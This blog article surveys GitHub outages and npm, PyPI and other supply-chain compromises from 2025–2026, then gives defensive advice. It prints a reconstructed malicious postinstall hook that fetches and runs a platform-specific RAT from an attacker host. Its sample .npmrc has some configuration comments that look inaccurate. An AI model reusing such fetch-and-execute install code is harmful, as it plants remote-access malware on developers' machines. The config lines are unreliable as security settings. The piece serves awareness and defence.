The Developer Infrastructure Is on Fire: GitHub Outages, npm Breaches, and the Crisis Nobody Prepared For

Something Broke Last Week. And the Week Before That. And the Week Before That.

If you have been a working developer at any point in the last twelve months, you have probably experienced this: you push code, your CI pipeline stalls, you check GitHub Status, and there it is - another yellow banner. "We are investigating reports of degraded performance for GitHub Actions." You sigh, grab a coffee, and wait it out. Maybe you post a mildly sarcastic message in your team's Slack channel. Then you move on.

But here is the thing nobody seems to be talking about loudly enough: this is not an occasional hiccup anymore. Between May 2025 and April 2026, GitHub logged 257 incidents, of which 48 were classified as major outages. That is roughly five incidents per week. February 2026 alone had 37 incidents - more than one a day.

And GitHub's reliability crisis is not even the scariest part of this story.

While GitHub was busy going down every other Tuesday, the npm registry - the package ecosystem that underpins virtually every JavaScript project on the planet - was getting systematically infiltrated. Not by script kiddies uploading joke packages. By nation-state actors deploying RATs through packages you already have in your lockfile. By a literal self-replicating worm that infected over 500 packages. By attackers who compromised Axios - yes, that Axios, the one with 50 million weekly downloads - and published backdoored versions within a 39-minute window.

This article is my attempt to lay out the full picture. Because when you see these incidents individually, they look like isolated bad luck. When you see them together, they look like something much worse: a systematic failure of the infrastructure that modern software development depends on.

257 Incidents, 48 Major Outages, and an Expired TLS Certificate

Let me walk you through what has actually been happening at GitHub, because the individual incidents tell a story that the status page does not.

November 18, 2025: All Git operations failed globally. The root cause? An expired TLS certificate used for internal service-to-service communication. The kind of thing that should never happen at a company with Microsoft's resources. The outage lasted over an hour.

February 9, 2026: An overloaded database cluster responsible for authentication and user management went down. A configuration change triggered excessive background processing that overwhelmed the cluster. If you could not log in to GitHub that day, this was why.

February 12, 2026: Codespaces creation and resume failures across Europe, Asia, and Australia - peaking at a 90% failure rate - caused by a bad configuration rollout in a core networking dependency. Nine hours to resolve.

April 23, 2026: This one is genuinely terrifying. A Merge Queue bug caused merge groups containing more than one PR to produce incorrect commits. The merged code silently deleted changes from other PRs in the same group. Think about that for a moment. Your code, merged and deployed, but with chunks silently removed. No error. No warning.

April 28, 2026: Pull requests vanished from search results because someone ran a repair job without the required safety flags. On the same day, a critical RCE vulnerability (CVE-2026-3854) in the git push pipeline was publicly disclosed.

GitHub Actions was the most affected service with 57 outages (16 major). Copilot had 44 outages, including 10 in February alone. GitHub's own CTO, Vlad Fedorov, published a blog post on April 28 admitting to "rapid load growth, architectural coupling that allowed localised issues to cascade across critical services, and inability of the system to adequately shed load from misbehaving clients."

The root cause, in plain English: GitHub was not built for the scale it now faces. Since late December 2025, agentic AI development workflows have accelerated sharply - AI coding assistants like Copilot, Cursor, Windsurf, and autonomous agents running through GitHub Actions are generating a volume of API calls, pushes, and CI runs that the platform never anticipated. They started a 10X capacity plan in October 2025. By February 2026, they realised they needed to design for 30X. The AI tools we adopted to write code faster are, ironically, breaking the infrastructure we use to ship it.

North Korea Backdoored the Most Popular HTTP Client on npm

On March 30, 2026, at some point during a 39-minute window, someone published two backdoored versions of Axios to npm: 1.14.1 and 0.30.4. The attacker had gained control of an npm account belonging to jasonsaayman, a primary maintainer of the project.

The malicious versions introduced a new dependency called plain-crypto-js. Innocuous name. The kind of package name you would scroll past in a diff review without blinking. But its postinstall hook silently downloaded platform-specific stage-2 RAT implants from an attacker-controlled server.

// plain-crypto-js/postinstall.js (simplified reconstruction)
const os = require('os');
const https = require('https');
const fs = require('fs');
const { execSync } = require('child_process');

const platform = os.platform();
const payloadUrl = `sfrclak[.]com:8000/${platform}/stage2`;

// Downloads a platform-specific RAT binary
// macOS, Windows, and Linux all targeted
// Binary persists itself and phones home to C2 server
downloadAndExecute(payloadUrl);

The RAT deployed on macOS, Windows, and Linux. Within those three hours before the malicious versions were yanked, Huntress observed at least 135 endpoints actively contacting the attacker's command-and-control server. Microsoft Threat Intelligence attributed the attack to Sapphire Sleet, a North Korean state actor.

Read that again. A state-sponsored hacking group from North Korea compromised the most widely used HTTP library in the JavaScript ecosystem. CISA - the United States Cybersecurity and Infrastructure Security Agency - published a formal alert about it on April 20, 2026.

Axios has roughly 50 million weekly downloads. If you run a JavaScript project of any meaningful size, there is a very good chance it is in your dependency tree somewhere. And for 39 minutes on a random Sunday, installing it would have given North Korean hackers a backdoor into your machine.

84 Malicious Packages in 6 Minutes

This one happened just two days ago, on May 11, 2026. Between 19:20 and 19:26 UTC - a window of six minutes - 84 malicious npm package artifacts were published across 42 packages in the @tanstack namespace.

If you are a React developer, you almost certainly use TanStack. TanStack Query (formerly React Query) is one of the most popular data-fetching libraries in the ecosystem. TanStack Router, TanStack Table, TanStack Form - these are not obscure packages. They are foundational tools used in production by thousands of companies.

The attack vector here was different from Axios. The attacker did not steal a maintainer's credentials. Instead, they hijacked the build pipeline itself. The malicious code was published using TanStack's own trusted OIDC identity after attacker-controlled code took over the CI runner mid-workflow. The packages were published through the legitimate automation pipeline, which means any automated verification that checks "was this published by the official TanStack CI?" would have said yes.

Six minutes. Forty-two packages. And the whole thing sailed through the existing trust model because the trust model was built on the assumption that CI pipelines are secure.

Shai-Hulud: The Self-Replicating npm Worm That Will Not Die

And then there is the one that keeps me up at night.

In September 2025, security researchers at Socket disclosed a self-replicating worm - codenamed Shai-Hulud after the sandworms from Dune - that was actively spreading through the npm ecosystem. Not a malicious package. A worm. One that automated the compromise and redistribution of other packages, spreading itself across the registry without human intervention.

Wave 1 infected over 500 npm packages, including @ctrl/tinycolor (around 2 million weekly downloads). It scanned victim environments for GitHub tokens, exfiltrated secrets, and used those tokens to compromise more packages. CISA published an alert on September 23, 2025, calling it a "widespread supply chain compromise."

Wave 2 hit in November 2025. Significantly wider in scope. It affected 25,000+ malicious GitHub repositories across roughly 350 unique users. Compromised versions were uploaded between November 21-23.

Wave 3 arrived on April 22, 2026. Wave 4 - dubbed "Mini Shai-Hulud" - hit on April 29, 2026, this time targeting SAP's npm packages. The affected packages included @cap-js/sqlite, @cap-js/postgres, @cap-js/db-service, and mbt. The malicious payload downloaded the Bun runtime, then executed an obfuscated script that stole credentials from Chrome, Safari, Edge, and Brave browsers, queried Kubernetes and Vault secrets, and used regex to extract AWS keys, GitHub tokens, npm tokens, database connection strings, and private keys.

Four waves. Nine months. Each one more sophisticated than the last. And the fundamental vulnerability it exploits - stolen tokens granting publish access - has not been structurally addressed by any registry.

2 Billion Weekly Downloads Compromised Through a Phishing Email

On September 8, 2025, eighteen popular npm packages were compromised simultaneously. The list included chalk, debug, and ansi-styles - packages that collectively receive over 2 billion downloads per week. If you have ever run a Node.js application, these packages are almost certainly in your dependency tree.

The attack was disturbingly simple. A maintainer received a convincing 2FA reset email from a fake domain - npmjs.help instead of npmjs.com. The phishing page collected their username, password, and a live TOTP code. That was it. No zero-day. No sophisticated exploit chain. A well-crafted email and a fake login page.

The malicious payload was a cryptostealer targeting Bitcoin, Solana, and Ethereum transactions. It rewrote HTTP responses to redirect cryptocurrency transactions to the attacker's wallet addresses. The malicious versions were live for roughly two hours before detection and removal.

Two hours. Two billion weekly downloads. Eighteen packages. One phishing email.

It Is Not Just JavaScript. Every Ecosystem Is Getting Hit.

If you are reading this and thinking "well, I use Python, so this does not affect me" - I have bad news.

PyPI

In March 2026, TeamPCP - the same group behind the Shai-Hulud worm - compromised LiteLLM, a popular Python package for working with large language models. They obtained the maintainer's PyPI credentials through a prior compromise of Aqua Security's Trivy vulnerability scanner (the irony is not lost on anyone) and published malicious versions that harvested environment variables, SSH keys, cloud credentials, Kubernetes data, Docker configs, shell history, and database credentials.

On April 30, 2026, PyTorch Lightning was hit. Malicious releases of the lightning package (versions 2.6.2 and 2.6.3) included a hidden _runtime directory with an obfuscated JavaScript payload. In May 2026, Microsoft began investigating a compromise of the mistralai PyPI package.

Docker Hub

On April 22, 2026, Checkmarx's KICS Docker images were compromised. The attacker pushed malicious images using valid publisher credentials, overwriting existing tags. And in November 2025, researchers found over 10,000 Docker Hub images containing leaked production credentials from 100+ organisations, including a Fortune 500 company and a national central bank.

VS Code Extensions

Detections of malicious VS Code extensions grew from 27 in 2024 to 105 in the first 10 months of 2025. In April 2026, GlassWorm v2 planted 73 cloned malicious extensions. One fake Prettier extension delivered a multi-stage chain ending with a full remote access trojan.

Rust (crates.io)

Malicious crates targeting Solana and Ethereum private keys were discovered in May 2025. Phishing campaigns impersonating the Rust Foundation targeted crates.io users in September 2025. And in early 2026, malicious crates were found impersonating time-related APIs to steal .env file contents.

GitHub Actions

In March 2025, the widely-used tj-actions/changed-files Action - used in 23,000+ repositories - was compromised. The attacker pushed a malicious commit disguised as coming from renovate[bot] that printed all CI runner credentials to workflow logs. All existing version tags were retagged to point to the malicious commit. CVE-2025-30066, CVSS 8.6.

How a Modern npm Install Actually Exposes You

Let me show you what actually happens when you run npm install on a typical React project, because I think most developers vastly underestimate the surface area they are trusting.

A typical React application pulls in somewhere between 800 and 1,200 transitive dependencies. Each of those packages can have a postinstall script that runs arbitrary code on your machine with your user's full permissions. It can read your environment variables, access your filesystem, make network requests, and execute child processes. And this all happens automatically, silently, as part of npm install.

You are not just trusting the 15 or 20 packages in your package.json. You are trusting every maintainer of every transitive dependency, every CI pipeline that publishes those packages, every npm account that has publish rights, and the security of every single credential in that chain.

# Run this in any Node.js project to see your actual exposure
npm ls --all --parseable 2>/dev/null | wc -l
# Typical React app: 800-1200 packages

# Check for postinstall scripts in your dependencies
find node_modules -name "package.json" -maxdepth 3 \
  -exec grep -l "postinstall" {} \;
# You will be surprised how many there are

# Check if any dependency has changed its publishing identity
npm audit signatures
# If you see warnings here, investigate immediately

The uncomfortable truth is that npm install is the most dangerous command most developers run on a daily basis. It executes untrusted code from the internet with full access to your development environment. We just normalised it years ago and stopped thinking about it.

Why Your Lockfile, Pinned Versions, and Audit Command Are Not Enough

I keep seeing developers respond to these incidents with the same handful of defences. "I use a lockfile." "I pin exact versions." "I run npm audit." Let me explain why none of these would have protected you from the attacks described above.

Lockfiles

Your lockfile pins the exact version of every package in your tree. That is great for reproducibility. But when Axios 1.14.1 was published with a backdoor, that was a new version. If your lockfile said 1.14.0 and you never ran npm install during those 39 minutes, you were fine. But if you ran npm install on a fresh checkout, or if your CI pipeline did a clean install, or if any developer on your team updated axios during that window, your lockfile now contains the compromised version. And it will faithfully install it every time thereafter.

npm audit

npm audit checks against a known vulnerability database. The Axios backdoor was not in any vulnerability database during the 39 minutes it was live. The chalk compromise was not in any database during the two hours it was live. These are zero-day supply chain attacks. By definition, npm audit cannot catch them because the advisory does not exist yet when you need it most.

Pinned versions

Pinning exact versions (e.g., "axios": "1.13.7" instead of "^1.13.7") protects you from pulling in a new malicious version automatically. But the TanStack attack published malicious code under existing version tags. And if a compromised package is a transitive dependency - meaning it is pulled in by something else in your tree - your pinning only covers your direct dependencies, not the entire tree.

What You Can Actually Do About This (No, Seriously)

I am not going to pretend there is a silver bullet here. But there are concrete steps that would have meaningfully reduced exposure to every attack discussed in this article.

1. Disable postinstall scripts by default. Add ignore-scripts=true to your .npmrc file. Yes, this will break some packages that genuinely need postinstall hooks (like esbuild or sharp, which download platform-specific binaries). Whitelist those explicitly. But the default should be "do not run arbitrary code during install."
2. Use a package proxy or private registry. Tools like Verdaccio, Artifactory, or npm Enterprise let you cache packages and add a review gate before new versions enter your organisation's dependency tree. This would have given you a buffer during the Axios window.
3. Enable npm provenance checks. Run npm audit signatures regularly. Packages published through verified CI pipelines with SLSA provenance are meaningfully harder to tamper with - though the TanStack attack shows this is not foolproof if the CI itself is compromised.
4. Pin your GitHub Actions to commit SHAs, not tags. The tj-actions attack worked because the attacker retagged existing version tags. If you reference an action by its full commit SHA, retagging cannot affect you.
5. Use Socket, Snyk, or similar runtime analysis tools. Unlike npm audit, these tools analyse package behaviour - network calls, filesystem access, environment variable reads - and can flag suspicious activity even before an advisory is published.
6. Audit your CI/CD pipeline permissions. The TanStack attack exploited overly broad CI permissions. Follow the principle of least privilege. Your build pipeline should not have publish access to npm unless it is actively publishing.

# Disable postinstall scripts by default
ignore-scripts=true

# Require package-lock.json to be in sync
package-lock=true

# Prevent npm from resolving to a different registry
registry=https://registry.npmjs.org/

# Verify package signatures
audit-signatures=true

# Do not automatically run lifecycle scripts of dependencies
foreground-scripts=true

This Is Not a Bug. It Is the Logical Consequence of How We Built the Ecosystem.

Here is what I keep coming back to: none of this is surprising if you think about the incentive structures at play.

npm has 9.8 trillion package downloads annually across its registry. Over 99% of all known open source malware exists on npm. The registry hosts over 2 million packages, maintained by hundreds of thousands of individual developers - most of them unpaid volunteers who maintain their packages in their spare time.

These maintainers are the single-point-of-failure for the entire modern web. When a single phishing email can compromise chalk and debug - packages that sit in the dependency tree of essentially every Node.js application ever written - the system's security posture is not determined by how good your company's security practices are. It is determined by how resistant a random open source maintainer is to a well-crafted phishing email on a Tuesday evening.

And the attackers have noticed. The Sonatype 2026 State of the Software Supply Chain Report documents 454,600+ new malicious packages identified throughout 2025 alone, a 75% year-over-year increase. Over 800 packages were attributed to the Lazarus Group alone. Supply chain attacks doubled in 2025, with global losses reaching $60 billion.

The attacks are evolving too. Early supply chain attacks were mostly typosquatting - publishing "axois" and hoping someone mistyped. Now we are seeing credential theft, CI pipeline hijacking, self-replicating worms, dormant "sleeper" dependencies that activate under specific conditions, and even "dead man's switch" mechanisms that threaten data destruction if exfiltration channels are severed. This is not amateur hour. This is industrialised warfare against developer infrastructure.

AI Tools Are Both the Cause and the Target

There is an angle to this crisis that nobody is connecting explicitly enough: AI is woven through almost every incident in this story - as a cause, as a target, and as a force multiplier for attackers.

AI broke GitHub

GitHub's own CTO admitted it. The surge in incidents is directly tied to agentic AI workflows - Copilot completions, AI-powered code review bots, autonomous agents spinning up CI runs, and tools like Cursor and Windsurf that interact with GitHub APIs at machine speed rather than human speed. GitHub Copilot itself had 44 outages in the past year, 10 of them in February 2026 alone. The AI features Microsoft is aggressively shipping are consuming the very infrastructure they run on. When your most profitable feature is also your biggest reliability risk, you have a problem no amount of 30X scaling will cleanly solve.

AI infrastructure is a prime target

Notice what the attackers are going after. LiteLLM - a Python package for calling LLM APIs - was compromised to steal API keys and cloud credentials. The mistralai PyPI package was backdoored. The QUIETVAULT credential stealer discovered in 2026 specifically scans for AI CLI tools and harvests developer tokens for services like OpenAI, Anthropic, and Hugging Face. Attackers know that AI API keys are valuable - they provide access to expensive compute, and the billing often runs uncapped. A stolen OpenAI API key can rack up thousands of dollars in charges before anyone notices.

AI makes supply chain attacks easier to execute

This is the part that worries me most. The same LLMs that help developers write code also help attackers write convincing phishing emails, generate plausible-looking package names, create typosquatting variants at scale, and craft obfuscated payloads. The Shai-Hulud worm's ability to propagate across hundreds of packages autonomously is the kind of automation that AI makes dramatically easier to build. We are in an arms race where the attackers have access to the same tools we do - and they are using them to industrialise supply chain attacks at a pace that manual security review cannot match.

The Infrastructure We Depend on Is Nobody's Responsibility

I wrote this article because I genuinely believe most developers do not understand how fragile the ground beneath them has become. We treat npm, GitHub, PyPI, and Docker Hub as utilities - always there, always safe, always working. The last twelve months have demonstrated, with increasing urgency, that none of those assumptions hold.

GitHub cannot stay up. npm packages are being weaponised by nation-state actors. Self-replicating worms are spreading through the registry. VS Code extensions are delivering RATs. Docker images are leaking production credentials. CI pipelines are being hijacked. And the response from the ecosystem has been - what, exactly? A few blog posts. Some advisories. An npm audit command that cannot catch anything in real time.

The problem is structural. The entire modern software supply chain runs through package registries that were designed for convenience, not security. They were built in an era when the threat model was "someone publishes a broken package" rather than "a state-sponsored hacking group systematically compromises maintainer accounts to deploy RATs at scale."

I do not have a neat conclusion for you. I do not think one exists yet. But I think the first step is acknowledging the scale of the problem - not as isolated incidents that each get their own news cycle and then fade, but as a continuous, accelerating crisis in developer infrastructure security that affects every single person who writes code for a living.

The next time GitHub goes down or an npm advisory lands in your inbox, do not sigh and wait it out. Pay attention. Because the gap between "annoying" and "catastrophic" is getting smaller every week.